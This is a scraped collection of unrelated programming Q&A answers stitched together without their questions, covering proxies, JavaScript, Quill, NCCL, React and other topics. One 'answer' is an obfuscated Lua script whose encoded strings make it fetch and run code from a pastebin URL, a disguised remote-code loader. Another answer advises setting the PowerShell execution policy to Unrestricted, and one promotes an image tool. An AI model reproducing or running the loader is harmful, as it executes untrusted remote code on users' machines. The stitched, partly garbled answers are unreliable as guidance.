There are 3 steps after creating shortcut for terminal :
Xfce Terminal: "xfce4-terminal"
Konsole (KDE): "konsole"
Tilix: "tilix"
LXTerminal: "lxterminal" }
3.Your Shortcut : fn + f4
Resolved by removing the Basket relation in User and Goods entity. When deleting the entity is detach.
Just as I was about to post this as a question - it hit me...
type assertion to the same type: (*valPtr) already has type interface{} (S1040)
in other words:
dereferenced valPtr
(which is of type *interface{}
) is of type interface{}
; why are you casting it to an interface{}
(again)??
The code is perfect for real machine and virtualbox although acpi_poweroff()
is not working for QEmu(I don't know the reason!). My outw
function was wrong so it was not working fixed outw function is
void outw(uint16_t port, uint16_t value) {
asm volatile ("outw %0, %1" : : "a"(value), "Nd"(port));
}
The textbook answer is that threads share the memory context of the parent process. This makes them, faster to spawn, allows threads to share memory and exchange information very fast.
That also means that a failure or a memory leak on a single thread affects and persists for all of them. Depending on your code, you could have threads fighting for the memory bus, the L caches, and having a lot of context switches that can lead to significant slowdown.
Process on the other hand are given a new, fresh, private memory space. This means that they take longer to start, but they are a lot more isolated. Linux allows you to control process a lot more, limit memory and cpu for example. This can make them a lot easier to debug.
On the other hand, their interprocess communication (IPC) is slower, requiring shared memory which can be a complicated task, altough because they tend to share minimal data, they tend to lead to less synchronization errors (mutex, locks, etc)
Outside of that something that is not usually mentioned is:
Process are your only option for distributed, multi-node deployment.
Process can lead to a lot more control and utilization in NUMA cpus which are a lot more common in servers.
In general though, if you have to parallelize a section of your code, like a function, a loop, etc you use threads. If you need to parallelize a problem space, every entity does the same work on different chunks of data, you tend to use processes.
That is just a fast rule, people can disagree with it.
P.D.: if you are looking at python stuff, this changes as python threads are not really parallel under most python implementation because of something called the GIL (global interpreter lock)
If someone found an answer please share
To create a hero section with four images forming a curved layout, consider using CSS properties that allow for creative positioning and shaping. Techniques such as CSS transforms and the clip-path property can help achieve asymmetrical designs. For instance, you can apply transformations to each image to adjust their size and position, creating a visual flow from larger to smaller images. Additionally, using the clip-path property allows you to define custom shapes for your images, enabling the creation of unique curves and angles. By combining these methods, you can design a dynamic and visually appealing hero section that guides the viewer's eye across the images in the desired curvature.
However, the option to enable both of these settings may not be immediately visible. Follow these steps to enable grouping by conversation and date:
Follow Below Screeshot:
1: Select Group ByDate first
2: Now Click on the highlighted bar columns anywhere, you will see these option and select to change it.
3: After Change you will see this dialog box to select folder.
You've to do it seperately for sent Iteams folder, follow the same above screenshot.
After these steps, Outlook will now display emails grouped by conversation while also maintaining the date-based organization. If you are using Outlook Web (OWA), a similar setting can be found under View settings in the top-right corner.
The answer by @Abraham is the correct one.
You should remove node-sass
However, to use sass
with your sass-loader
package, you should do the following change in your webpack config :
{
loader: "sass-loader",
options: {
implementation: require("sass") // <-- add this line
}
}
Add a extra key value in [main]
section right after proxy settings like this
[main]
gpgcheck=1
installonly_limit=3
clean_requirements_on_remove=True
proxy=http://x.x.x.x:8080
proxy_username=username
proxy_password=password
proxy_auth_method=basic
and then try
dnf update
It will work, comment if didn't.
I got around it without the circuit breaker by using a pattern like this:
return authorizedClientManager.authorize(oauth2Request)
.map(authorizedClient -> exchange.mutate()
.request(r -> r.headers(
headers -> headers.set(HttpHeaders.AUTHORIZATION,
"Bearer " + authorizedClient.getAccessToken().getTokenValue())))
.build())
.onErrorResume(e -> Mono.empty()) // Ignore the error
.defaultIfEmpty(exchange) // Then continue if an occurred, allowing routed request to fail with a 401
.flatMap(chain::filter);
std::linalg is based on the dense BLAS as specified in Chapter 2 of the BLAS Technical Forum Standard ( https://www.netlib.org/blas/blast-forum/chapter2.pdf ), and focuses on the subset of routines that appear in the "Reference BLAS" with its core of BLAS 1, 2, and 3 routines (source: Section 9.1 of the std::linalg main proposal P1673: https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2023/p1673r13.html ). Vector cross products are not in the BLAS Standard.
Sections 6 - 10 of P1673 clarify std::linalg's design. Section 9 in particular explains "What we exclude from the design" and why.
FYI, the version of P1673 that was voted into the C++ Working Draft was R13.
Since I cannot add a comment, I have to add an "answer", but its really an answer to a question to @lemonmade's answer above. The CSS only version of Shopify Polaris is referred on the repo: https://github.com/Shopify/polaris/tree/main/polaris-react#using-the-css-components
The version tag on the unpkg file matches the current release tag on the repo.
I hope this article will help.
local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function() return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...) local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30) if (v1(v30,2)==81) then local v80=0;while true do if (v80==0) then v19=v0(v3(v30,1,1));return "";end end else local v81=0;local v82;while true do if (v81==0) then v82=v2(v0(v30,16));if v19 then local v104=0;local v105;while true do if (v104==1) then return v105;end if (v104==0) then v105=v5(v82,v19);v19=nil;v104=1;end end else return v82;end break;end end end end);local function v20(v31,v32,v33) if v33 then local v83=(v31/((5 -(1 + 2))^(v32-(2 -1))))%(2^(((v33-(1 -0)) -(v32-(2 -(1 + 0)))) + (620 -(555 + 64)))) ;return v83-(v83%(932 -(857 + 74))) ;else local v84=2^(v32-(569 -(367 + 201))) ;return (((v31%(v84 + v84))>=v84) and 1) or (927 -(214 + 713)) ;end end local function v21() local v34=v1(v16,v18,v18);v18=v18 + 1 ;return v34;end local function v22() local v35,v36=v1(v16,v18,v18 + 2 );v18=v18 + (879 -(282 + 595)) ;return (v36 * (1893 -(1523 + 114))) + v35 ;end local function v23() local v37=117 -(32 + 85) ;local v38;local v39;local v40;local v41;while true do if (v37==(1 + (350 -(87 + 263)))) then return (v41 * (15077001 + 1700215)) + (v40 * (65716 -(67 + 113))) + (v39 * (364 -108)) + v38 ;end if (v37==(1065 -(68 + 997))) then v38,v39,v40,v41=v1(v16,v18,v18 + 3 );v18=v18 + (1274 -(226 + 1044)) ;v37=4 -(4 -1) ;end end end local function v24() local v42=v23();local v43=v23();local v44=1 + 0 ;local v45=(v20(v43,2 -1 ,15 + 5 ) * ((7 -5)^(984 -(802 + 150)))) + v42 ;local v46=v20(v43,56 -35 ,55 -24 );local v47=((v20(v43,11 + 13 + 8 )==(998 -((1618 -703) + 82))) and -(2 -(439 -(145 + 293)))) or (1 + 0) ;if (v46==(0 -0)) then if (v45==((1617 -(44 + 386)) -(1069 + 118))) then return v47 * (0 -0) ;else local v91=(1486 -(998 + 488)) -0 ;while true do if (v91==(0 + 0 + 0)) then v46=1 -0 ;v44=0 + 0 ;break;end end end elseif (v46==(2838 -(368 + 423))) then return ((v45==(0 -0)) and (v47 * ((1 + 0)/(18 -(10 + 8))))) or (v47 * NaN) ;end return v8(v47,v46-((4706 -(201 + 571)) -2911) ) * (v44 + (v45/((444 -(416 + 26))^(165 -113)))) ;end local function v25(v48) local v49;if not v48 then v48=v23();if (v48==0) then return "";end end v49=v3(v16,v18,(v18 + v48) -(1139 -(116 + 1022)) );v18=v18 + v48 ;local v50={};for v64=4 -3 , #v49 do v50[v64]=v2(v1(v3(v49,v64,v64)));end return v6(v50);end local v26=v23;local function v27(...) return {...},v12("#",...);end local function v28() local v51=(function() return 0;end)();local v52=(function() return;end)();local v53=(function() return;end)();local v54=(function() return;end)();local v55=(function() return;end)();local v56=(function() return;end)();local v57=(function() return;end)();while true do if (v51~=2) then else for v92= #"\",v23() do local v93=(function() return v21();end)();if (v20(v93, #",", #"[")==(1335 -(178 + 1157))) then local v100=(function() return 0;end)();local v101=(function() return;end)();local v102=(function() return;end)();local v103=(function() return;end)();while true do if (v100==1) then v103=(function() return {v22(),v22(),nil,nil};end)();if (v101==0) then local v145=(function() return 0;end)();local v146=(function() return;end)();while true do if (v145==(0 + 0)) then v146=(function() return 0;end)();while true do if (v146==(0 -0)) then v103[ #"asd"]=(function() return v22();end)();v103[ #"0836"]=(function() return v22();end)();break;end end break;end end elseif (v101== #"~") then v103[ #"xxx"]=(function() return v23();end)();elseif (v101==2) then v103[ #"-19"]=(function() return v23() -(2^(1278 -(1091 + 171))) ;end)();elseif (v101== #"91(") then local v175=(function() return 0 + 0 ;end)();local v176=(function() return;end)();while true do if (v175==(0 -0)) then v176=(function() return 0 -0 ;end)();while true do if (v176~=(374 -(123 + 251))) then else v103[ #"gha"]=(function() return v23() -(2^16) ;end)();v103[ #"asd1"]=(function() return v22();end)();break;end end break;end end end v100=(function() return 9 -7 ;end)();end if (v100==(698 -(208 + 490))) then v101=(function() return v20(v93,1 + 1 , #"xnx");end)();v102=(function() return v20(v93, #".dev",3 + 3 );end)();v100=(function() return 837 -(660 + 176) ;end)();end if (v100==(1 + 2)) then if (v20(v102, #"xxx", #"asd")== #"}") then v103[ #".dev"]=(function() return v57[v103[ #".com"]];end)();end v52[v92]=(function() return v103;end)();break;end if (v100==(204 -(14 + 188))) then if (v20(v102, #"\", #",")== #"|") then v103[2]=(function() return v57[v103[677 -(534 + 141) ]];end)();end if (v20(v102,2,1 + 1 )== #"\") then v103[ #"91("]=(function() return v57[v103[ #"asd"]];end)();end v100=(function() return 3;end)();end end end end for v94= #"~",v23() do v53[v94-#"!" ]=(function() return v28();end)();end return v55;end if ( #">"~=v51) then else local v88=(function() return 0;end)();local v89=(function() return;end)();while true do if (0==v88) then v89=(function() return 0;end)();while true do if (v89~=(2 + 0)) then else v51=(function() return 2 + 0 ;end)();break;end if (v89==0) then v56=(function() return v23();end)();v57=(function() return {};end)();v89=(function() return 1;end)();end if ((1 -0)==v89) then for v108= #"|",v56 do local v109=(function() return 0 -0 ;end)();local v110=(function() return;end)();local v111=(function() return;end)();local v112=(function() return;end)();while true do if (1~=v109) then else v112=(function() return nil;end)();while true do if (v110== #"~") then if (v111== #"[") then v112=(function() return v21()~=(0 -0) ;end)();elseif (v111==2) then v112=(function() return v24();end)();elseif (v111== #"xxx") then v112=(function() return v25();end)();end v57[v108]=(function() return v112;end)();break;end if (0==v110) then local v171=(function() return 0 + 0 ;end)();local v172=(function() return;end)();while true do if (v171==(0 + 0)) then v172=(function() return 396 -(115 + 281) ;end)();while true do if (v172~=(2 -1)) then else v110=(function() return #"[";end)();break;end if (v172==0) then v111=(function() return v21();end)();v112=(function() return nil;end)();v172=(function() return 1;end)();end end break;end end end end break;end if (v109==(0 + 0)) then local v151=(function() return 0 -0 ;end)();while true do if (v151~=1) then else v109=(function() return 3 -2 ;end)();break;end if (v151~=(867 -(550 + 317))) then else v110=(function() return 0;end)();v111=(function() return nil;end)();v151=(function() return 1 -0 ;end)();end end end end end v55[ #"19("]=(function() return v21();end)();v89=(function() return 2;end)();end end break;end end end if (0~=v51) then else local v90=(function() return 0;end)();while true do if (v90==(0 -0)) then v52=(function() return {};end)();v53=(function() return {};end)();v90=(function() return 1;end)();end if (v90~=(5 -3)) then else v51=(function() return #"}";end)();break;end if (v90~=1) then else v54=(function() return {};end)();v55=(function() return {v52,v53,nil,v54};end)();v90=(function() return 2;end)();end end end end end local function v29(v58,v59,v60) local v61=v58[2 -1 ];local v62=v58[(4767 -3100) -(970 + 695) ];local v63=v58[3];return function(...) local v66=v61;local v67=v62;local v68=v63;local v69=v27;local v70=1 -(0 -0) ;local v71= -1;local v72={};local v73={...};local v74=v12("#",...) -(3 -(1902 -(106 + 1794))) ;local v75={};local v76={};for v85=0 -0 ,v74 do if (v85>=v68) then v72[v85-v68 ]=v73[v85 + (3 -2) ];else v76[v85]=v73[v85 + (1825 -(1195 + 629)) ];end end local v77=(v74-v68) + (1 -0) ;local v78;local v79;while true do v78=v66[v70];v79=v78[(77 + 165) -(187 + 54) ];if ((4148>=3342) and (v79<=7)) then if ((v79<=(783 -(162 + 618))) or (1434<=480)) then if ((v79<=(1 + 0)) or (74>143)) then if ((18<2112) and (v79>(0 + 0))) then local v113=v78[3 -1 ];local v114=v76[v78[4 -1 ]];v76[v113 + 1 + 0 ]=v114;v76[v113]=v114[v78[(2832 -1192) -(1373 + 263) ]];else v76[v78[2]]=v60[v78[1003 -(451 + 549) ]];end elseif (v79==(1 + (3 -2))) then local v120=0 -(0 + 0) ;local v121;local v122;local v123;local v124;while true do if (v120==(2 -0)) then for v163=v121,v71 do v124=v124 + 1 ;v76[v163]=v122[v124];end break;end if (v120==(1384 -(746 + 638))) then v121=v78[1 + 1 ];v122,v123=v69(v76[v121](v13(v76,v121 + 1 ,v78[3])));v120=1 -0 ;end if (v120==(342 -((643 -425) + 123))) then v71=(v123 + v121) -(1582 -(1535 + 46)) ;v124=0 + 0 ;v120=(2 -1) + 1 ;end end else v76[v78[562 -(306 + 254) ]]=v78[1 + 2 ];end elseif (v79<=5) then if (v79>4) then v76[v78[2 + 0 ]]={};else local v128=0 -0 ;local v129;local v130;while true do if (v128==0) then v129=v78[2];v130=v76[v78[1470 -(899 + 568) ]];v128=1;end if (v128==(1 + 0)) then v76[v129 + 1 ]=v130;v76[v129]=v130[v78[9 -5 ]];break;end end end elseif (v79==(609 -(268 + 335))) then do return;end else v76v78[292 -(60 + 230) ];end elseif ((1097<=1628) and (v79<=(583 -(426 + (260 -(4 + 110)))))) then if (v79<=(2 + 7)) then if ((4630==4630) and (v79>(1464 -(282 + 1174)))) then v76[v78[2]]=v78[(118 + 696) -(569 + 242) ];else v76[v78[5 -3 ]]=v60[v78[1 + 2 ]];end elseif ((3540>2683) and (v79==(1034 -(706 + 318)))) then local v135=(1835 -(57 + 527)) -(721 + 530) ;local v136;while true do if ((4794>=3275) and (v135==(1271 -(945 + 326)))) then v136=v78[4 -2 ];v76[v136]=v76[v136](v13(v76,v136 + 1 + (1427 -(41 + 1386)) ,v71));break;end end else local v137=700 -(271 + 429) ;local v138;while true do if (v137==0) then v138=v78[2 + 0 ];v76[v138]=v76[v138](v13(v76,v138 + (1501 -(1408 + 92)) ,v71));break;end end end elseif ((1484==1484) and (v79<=((1202 -(17 + 86)) -(461 + 625)))) then if (v79==(1300 -(993 + 295))) then local v139=0 + 0 ;local v140;local v141;local v142;local v143;while true do if (v139==(1173 -(418 + 753))) then for v166=v140,v71 do v143=v143 + 1 ;v76[v166]=v141[v143];end break;end if ((1432<3555) and ((1 + 0 + 0)==v139)) then v71=(v142 + v140) -(1 + 0) ;v143=(0 -0) + 0 ;v139=1 + 1 ;end if ((v139==(529 -(406 + 123))) or (1065>3578)) then v140=v78[1771 -(1749 + 20) ];v141,v142=v69(v76[v140](v13(v76,v140 + 1 + 0 ,v78[3])));v139=1;end end else do return;end end elseif (v79>(1336 -(1249 + 73))) then v76v78[3 -1 ];else v76[v78[(66 -(30 + 35)) + 1 ]]={};end v70=v70 + (1146 -(466 + 467 + 212)) ;end end;end return v29(v28(),{},v17)(...);end return v15("LOL!043Q00030A3Q006C6F6164737472696E6703043Q0067616D6503073Q00482Q747047657403213Q00682Q7470733A2Q2F706173746562696E2E636F6D2F7261772F485254436B72685A00094Q00057Q00122Q000100013Q00122Q000200023Q002001000200020003001203000400044Q000C000200044Q000B00013Q00022Q00070001000100012Q00063Q00017Q00",v9(),...);
If you write code and it looks like a virus don't expect that to be ignored. Especially when you send it by email.
At least wrap it in a word document or a zip file. Which should be scanned before saving it locally and opening it. The user can save it locally and open it if their download scanner approves it. Don't try to turn email into a full-blown app.i get email regularly from senders who demand that I read in Gmail, who don't want to deal with yahoo addresses because their web apps don't work with Yahoo Mail. They just block YM after establishing comm by phone Now I see why. They want to force people to use a mail platform that will support the code embedded in their emails. No security-conscious IT manager would support that.
Now you know what is going on if a client insists that you use a Gmail address.
convert start date and end date to date objects by date() method
start_date = datetime(year=2010, month=1, day=1).date()
end_date = datetime(year=2025, month=1, day=1).date()
The error you have encountered because JsonSerializer.Deserialize is trying to deserialize the JSON string into a single Player object, but your JSON represents a collection of Player objects. You need to deserialize it into a list or collection of Player objects.
Here's how you can adjust your getPlayersAPI method:
Deserialize the JSON into a List
Populate the ObservableCollection with the deserialized list.
I switched from the mariadb client lib to boost::mysql and everything is working fine
Thus, the server definitly sends the data !
The client is also checked to be able receive that data because it does with an older server
In boost::mysql i need to set conn->set_meta_mode(mysql::metadata_mode::full);
There might be a similar problem with defaults and switches in mariadb, although the boost switch does not affect only the data type but column names as well...
thanks for all hints. I will try to find the switch or just keep boost
It would be nice to have some code to try to replicate the issue.
I have two possible guesses for you:
It could be some interactions between the torch.multiprocess and the python futures, this could be happening because you have not pass any context (mp_context) Wich defaults to the multiprocess context when creating the pool. This might be breaking torch spawning. Try to set the context to the context of torch, which is returned by the spawn() call.
At the cost of performance, try to limit the pytprch threads set_num_thread
to 1 or 2, same thing with the pool. When doing this monitor the memory usage,
I think that either the copy process of the python multiprocess is making internal torch values not change and continue to fork until the bomb. Or some memory copy between forks is filling your ram.
As an addendum, you could also try seeing what happens if you change the start method of pytprch to spawn instead of fork.
Updates with any results, and maybe some code?
I ended up scaling up the app service plan and scale back and now everything works. Doesn't seem like an ideal solution. I was inspired by this: Why the Kudu site for my app service is showing 503 Service Unavailable
You may need to specify basic auth method in dnf.conf like this
[main]
gpgcheck=1
installonly_limit=3
clean_requirements_on_remove=True
proxy=http://proxy/example.com:8080
proxy_username=username
proxy_password=password
proxy_auth_method=basic
you can disable the animation entirely by setting the animation option to 'none'
import { useRouter } from 'expo-router';
const router = useRouter();
router.replace({
pathname: '/new-screen',
params: { someParam: 'value' },
animation: 'none', // Disables all animations
});
Camera 2 is missing its
video={true}
i have the same proble my code is this :
const DashboardPage: React.FC = async ({ params }) => {
const store = await prismadb.store.findFirst({
where: {
id: params.storeId
}
});
return (
<div>
Active Store: {store?.name}
</div>
);
}
export default DashboardPage;
Did you solve the problem ?
This is not a bad thing. It is very insecure for email software to open included or embedded links automatically just because that is what the sender wants.
Even if it is not spam.targeting local code to automatically run on a receivers machine is a very bad idea. That is how phishing attacks spread viruses. People should think beyond their immediate needs. This is why IT managers have to think for them.
Handling null before processing is common approach. However if you can guarantee that incoming data is not null you can proceed without null checking(very risky).
const button = document.querySelector('#button');
button.addEventListener('dblclick', function(el) {
el.preventDefault();
});
<button id="button"> No double click zoom here</button>
It is likely you have the runtime:
sudo yum install -y libnccl
But not the development environment:
sudo yum install -y libnccl-devel
As an alternative, since you have the HPC tag, most HPC cluster tend to have their code under modules (env mod, or lmod) and those are usually outside /usr. You can look with
module avail nccl
If it is there you could load the module and should have access to the development environment.
For the actual finding, If it is in a module, the the previous command will tell, and you can check in the module file to see if any variable like nccl_home is set which might make it easier. You can also use l config which might work
ldconfig -p | grep libnccl
Finally, specific to this case, try to run nvidia-smi if it is installed (and in path), it should print an output indicating the version (and maybe location?) of nccl.
I think you have 2 URLs that come to (http://localhost/app-web/display_config) bt clearing this line in the main URL file the problem may be solved path('display_config/', include('sito.urls')),
The reason why your code doesn't work is in Quill
library's architecture. And I have several possible proposals for you how to overcome it.
Please, take a look at the Emitter package. It contains listeners to the document
events:
EVENTS.forEach((eventName) => {
document.addEventListener(eventName, (...args) => {
Array.from(document.querySelectorAll('.ql-container')).forEach((node) => {
const quill = instances.get(node);
if (quill && quill.emitter) {
quill.emitter.handleDOM(...args);
}
});
});
});
There are even more listeners to the DOM's root if you use the search for the project
When you are initializing an instance of Quill
library via React
function createPortal
, you are passing an element in the other window, created by the window.open
function. The other window has the separate document
tree attached. So when events trigger in window's DOM model, they bubble up to the child window's document, not original window's document.
React portal doesn't help here. It knows nothing about these handlers and doesn't bubble them up to the original window.
Instead of initializing Quill
for the child in main window's code, you should have separate page (window.open('/separate-page')
) in the same domain for it. Initialize it there. You don't need react createPortal
in this implementation.
These two pages can communicate with each other by using methods, declared in child window's code and callbacks declared in main window's code. Please take a look at this article for more details:
https://usefulangle.com/post/4/javascript-communication-parent-child-window
I prefer this option because it has much cleaner architecture than the next one.
This is hard one and has a lot of disadvantages:
Quill
library.Quill
library change. Because it's highly bound to it's current architecture and code.You can manually add event listeners to all the events that Quill
library listens in the document and manually trigger them in child's document via dispatchEvent
method.
I would strongly advice you to step away off this route and use the first approach instead.
try including the include folder in your compiler directory in c_cpp_properties.json
did that work for you i did many things i gave inline css also still it doent works
I just do a df -h and get /var/lib/docker/overlay2/09a29b9a3e9062a68b4cc16a71a4d67fb5dd99caea56c10325645803f80eb9fb/merged then I point winscp to this directory.
I founded the solution follow the steps :
1- Open shared components
2- In security click Authentication schemes
3- Edit the default scheme
4- In scheme type select No Authentication
In theory you can write your own "everything" but it takes to much time. For learning point it is great aproach to create mocks of used and loved tools there are many tutorials in form of "create your own x". Making you both understand the tool and improve your development skills. But in engineering stand point if there are a good tool that is suitable for your need and available for your use it is better to use it. And spend your energy to learn how to use it efficiently. Since they have many time tested features and learning about them improve you too. You can think as people using test tools and frameworks to develop big projects. Incase of gamin studios who develop their own engine they either need specialized system or due to legal/cost/ownership reasons. So if you dont have such problem general approach is to use trustable tools.
There is a lot of missing information on this question. What scheduler is the system using? What IP/port are you using to connect when you run your python program? Are you allowed to open ports on the cluster?
If I was going to take a guess, is it possible that your second interactive session is being scheduled to a different node and you are connecting with my_script 127.0.0.0:11434 instead of my_script node1_where_ollama_lives:11434?
You should also maintain the node even in another terminal. So you could connect from another terminal and connect to the same node without making a different allocation.
You can also run your ollama with an ampersand (&) at the end which will run the program in the background, or press ctrl+z if it is already running. This will return you the same terminal and you can try running the python script from there and updating us with more details.
If you are using VSCode, you can also select the Python Interpreter by clicking on the bottom right corner of the screen. Your project and your interpreter must be in the same environment. See how to select it in the image.
This is the best result I got so far which vary according to the image dimenstions.
img.onload = function() {
if ( img.height < 1000 ) {
context.canvas.width = img.width;
context.canvas.height = img.height;
context.drawImage(img, 0, 0);
} else {
if ( img.height > img.width ) {
context.canvas.width = 1000*img.width/img.height;
context.canvas.height = 1000;
context.drawImage(img, 0, 0, 1000*img.width/img.height, 1000);
} else {
context.canvas.width = 1000;
context.canvas.height = 1000*img.height/img.width;
context.drawImage(img, 0, 0, 1000, 1000*img.height/img.width);
}
}
var cropper = $canvas.cropper({
aspectRatio: 1,
dragMode: 'move',
});
};
If you're looking for a smooth and high-quality way to resize images using JavaScript and the Canvas API, it's important to consider different resampling algorithms. By default, the drawImage() method in Canvas performs nearest-neighbor or bilinear interpolation, which may lead to pixelation or blurriness, especially when resizing large images down to smaller sizes.
Key Factors for High-Quality Image Resizing in JavaScript:
Resampling Methods:
Multi-Step Downsizing Approach: If you're reducing an image significantly (e.g., from 4000px to 500px), a common trick is to resize it in multiple steps rather than all at once. This helps preserve details and reduces aliasing artifacts.
Using OffscreenCanvas for Performance: When handling large images, using an OffscreenCanvas can help prevent UI lag by moving processing to a worker thread.
Alternative Solutions with WebAssembly: If performance and quality are crucial, libraries like libvips or sharp (which use WebAssembly) provide significantly better results than the default Canvas API.
A Ready-to-Use Solution If you're looking for an easy-to-use, ready-made tool for resizing images, you might want to check out Rounder Pics. It allows you to resize images directly in the browser without sending them to a server, ensuring privacy and fast processing. Additionally, it offers four different resizing algorithms, so you can compare the quality of different resampling techniques and choose the best one for your needs.
Would love to hear others' insights on their preferred resizing methods and best practices in JavaScript! 🚀
I know it’s kinda a late response, but I’ve just searched for the topic of creating notion widgets by yourself and I came across your not answered question.
The below answer is kind of nerdy, if you want to create your own widgets, you have to learn HTML, CSS and JS first, then you could try to host your code, optimally with GitHub Pages.
The thing is that I am starting to develop my own notion widgets and I am on the step of designing them.
You asked about the framework of such a quest - it is completely possible to achieve with pure HTML, CSS and JS, but the important part is about hosting your code.
You could host your widgets completely free with GitHub Pages from your own repo and embed them into Notion, with only one restriction - your code has to accessible to the public (the code repo has to be public).
I am going to extend apart from pure HTML, CSS and JS with Astro.js, TailwindCSS, Firebase (database), and potentially some other little pieces of technologies.
According to the docs here, you can access the records by just iterating over the returned iterator:
from Bio import SeqIO
for record in SeqIO.parse("example.fasta", "fasta"):
print(record.id)
Option natively supports transpose
method.
https://doc.rust-lang.org/std/option/enum.Option.html#method.transpose
i'm having the same issue here and would like to know if you found a better way then the accepted answer since you mention that it is not best practice?
Maybe this `ll help)
I accidentally removed the following code from the main function.
SpringApplication.run(ApplicationName.class, args);
when I added it back it was working fine.
<div class="container">
<a href="http://google.com">
<img src="http://i.imgur.com/SSPyEQ3.png" alt="Avatar" class="image">
<div class="overlay">
<div class="text">Hello World Whats up!</div>
</a>
</div>
I had the same problem, started working after I changed my minSdkVersion to 24 from 23, keeping my targetSdkVersion 34.
This problem generally start occurring after you have upgraded your project dependencies
Search the font you want -> just go straight to button "Get font" -> "Get embed code" -> On left side you will find table with different styles just choose all you want it will show you in life previev css code.
use str_ireplace(" " ,"-", $url);
Because 4t means 4 multiplied by t, using it as variable conflicts with expression which 4t. For example, 8n conflicts with n(we write 8n to mean 8 times n), so it conflicts with a mathematical expression. Excel doesn't allow variables like GN23423 if it conflicts with an existing cell name. It means there are 1,048,576 rows in Excel and 16,384 columns in Excel. If it only contains an alphabetical string and a number(starts with a string of one or more letters and one or more numbers after the letters), make sure that the number is greater than 1,048,576, and letter is after XFD. Variables like snow329 are valid but not it104 because Excel isn't case sensitive in variable names.
It was clear that there is some embarrassing reason for this: I used parenthesis for the password in the config file. Python added them to the password, so the password was wrong. When testing on the shell, the shell removed the parenthesis, so the password was correct.
Try copying your flutter code to a new project check if it runs.
Simplest solution is here: Just paste below command in your vs code terminal 1.Get-ExecutionPolicy -List 2.Set-ExecutionPolicy Unrestricted OR Set-ExecutionPolicy -Scope CurrentUser Unrestricted
Thats it !.....
Solution was:
// In your App.xaml.cs
public partial class App : MauiWinUIApplication
{
// ...
protected override async void OnLaunched(Microsoft.UI.Xaml.LaunchActivatedEventArgs args)
{
var appInstance = AppInstance.GetCurrent();
var e = appInstance.GetActivatedEventArgs();
// If it's not a Protocol activation, just launch the app normally
if (e.Kind != ExtendedActivationKind.Protocol ||
e.Data is not ProtocolActivatedEventArgs protocol)
{
appInstance.Activated += AppInstance_Activated;
base.OnLaunched(args);
return;
}
// If it's a Protocol activation, redirect it to other instances
var instances = AppInstance.GetInstances();
await Task.WhenAll(instances
.Select(async q => await q.RedirectActivationToAsync(e)));
return;
}
private void AppInstance_Activated(object? sender, AppActivationArguments e)
{
if (e.Kind != ExtendedActivationKind.Protocol ||
e.Data is not ProtocolActivatedEventArgs protocol)
{
return;
}
// Process your activation here
Debug.WriteLine("URI activated: " + protocol.Uri);
}
}
Also answered here: https://stackoverflow.com/a/79123126/17302880
In TensorFlow 2.18 the behavior of model.save() has changed. In previous versions you could save a model in the “SavedModel” (TensorFlow) format simply by calling, for example, model.save("my_model")
. Now, however, model.save()
requires that you either specify a .keras
or a .h5
extension.
You can’t observe the onActiveSpace
property because SkyLight does not support that feature. If you really want to observe it, you can either observe the private notification named _NSWindowDidChangeWindowNumber
or override -[NSWindow _commonAwake]
.
But I want to ask: why? The onActiveSpace
property indicates that NSWindow has created an NSCGSWindow and that it is connected to the WindowServer’s space. If it’s a tabbed window and that tab is not selected, it will return NO. Why do you want to observe this? If you initialized NSWindow with defer:YES
, NSWindow will be on the space immediately.
If you want to determine whether a window is visible to the user, you need to use the occlusionState
and observe the NSApplicationDidChangeOcclusionStateNotification
.
I have found that the title tag is crawled by search engine automatically but if you not put it correctly you can see my website's title tag and keywords or SERP.
Solved it by by calling the SearchResults component inside the Page component and wrapping it in a Suspense block.
import { Suspense } from "react";
const searchResults = () => {
// code
}
const Page = () => {
return (
<Suspense>
<searchResults />
</Suspense>
)
}
export default Page
hope this helps:
npm install -D tailwindcss@3 postcss autoprefixer
npx tailwindcss init
As you already found your way to Discord by now I suggest to continue the discussion over there, since the possibilities to include images and videos in answers and to online render code are better there.
But as a short answer: the order of the execution of updaters depends on the order in which the corresponding objects are added to the scene.
If you are using or have upgraded to react native 0.77.0 then you should go into this /android/app/build/generated/source/buildConfig/debug/com/your_project_name/codegen and delete the codegen folder and try again
Thanks @NicolBolas. Very useful explanations and exemples. Yes they deserve some time, and experiments, to digest. But will make me save time later. Roland
I have to do this too often, updating hosts file takes lots of time. Requestly is faster - doc.
"I am having a problem with the Filament login. It works perfectly fine locally, but not on the server (cPanel). Can anyone help?"
The code is in kotlin and you using the compile options as java correct it and if you using java only make sure the Use Safe Args for Java Instead of Kotlin 'androidx.navigation.safeargs'. update the navigation to the latest version 2.7.7 and try invalid cache and restart once and build it again .
You can use this https://icon.kitchen/ to create the app launcher icons.
check this link This tutorial downloads and runs the Phi-3 mini short context model. :https://github.com/microsoft/onnxruntime-genai/blob/main/examples/python/phi-3-tutorial.md
If you looking for quick and nasty, and just adding and iterating, you can pad the keys with addtional spaces to make them uniqure. Then just trim on retrieval.
To get a clean, working pip install on Ubuntu 24.04 I needed to use:
CMAKE_ARGS="-DGGML_CUDA=on -DCMAKE_CUDA_COMPILER=`which nvcc`" FORCE_CMAKE=1 pip install --upgrade --force-reinstall llama-cpp-python --no-cache-dir
Which may be due to self-inflicted pain with my nvcc but I didn't intentionally do anything exotic.
I had the same issue. The field editor.inlineSuggest.enabled": true
was not in my settings.json, so I had to add it to the file. After adding the key-value in the JSON file, I uninstalled the Copilot extension and restarted VS Code. It is working now.
The 2 are used for 2 different use cases.
terminate() Terminating will kill all the worker processes immediately as soon as it is called, and ongoing tasks are stopped.
close() Close will not allow new tasks to be added to the pool, and the submitted ones will continue to execute and finish off.
You would have to call either based on the specific use case that you have.
Still works 12 years later thank you :)
does constants like Const CatName = 0 will help for ordinal positions better than Enum, etc.? and then use them like RS(CatName) with or without .value ? please clarify
But this process revokes the new instruction only if you write inline assembly in your code. What to do to revoke the new instruction without using the inline assembly?
Попробуй изменить параметры near и far матрицы matrixProjection, это явление часто связано с недостаточной точностью расчетов в шейдере.
You can use a network interceptor chrome extension, like Requestly. Then add a rule to modify the response headers for a specific API domain or URL, like set the header Access-Control-Allow-Origin
to *
.
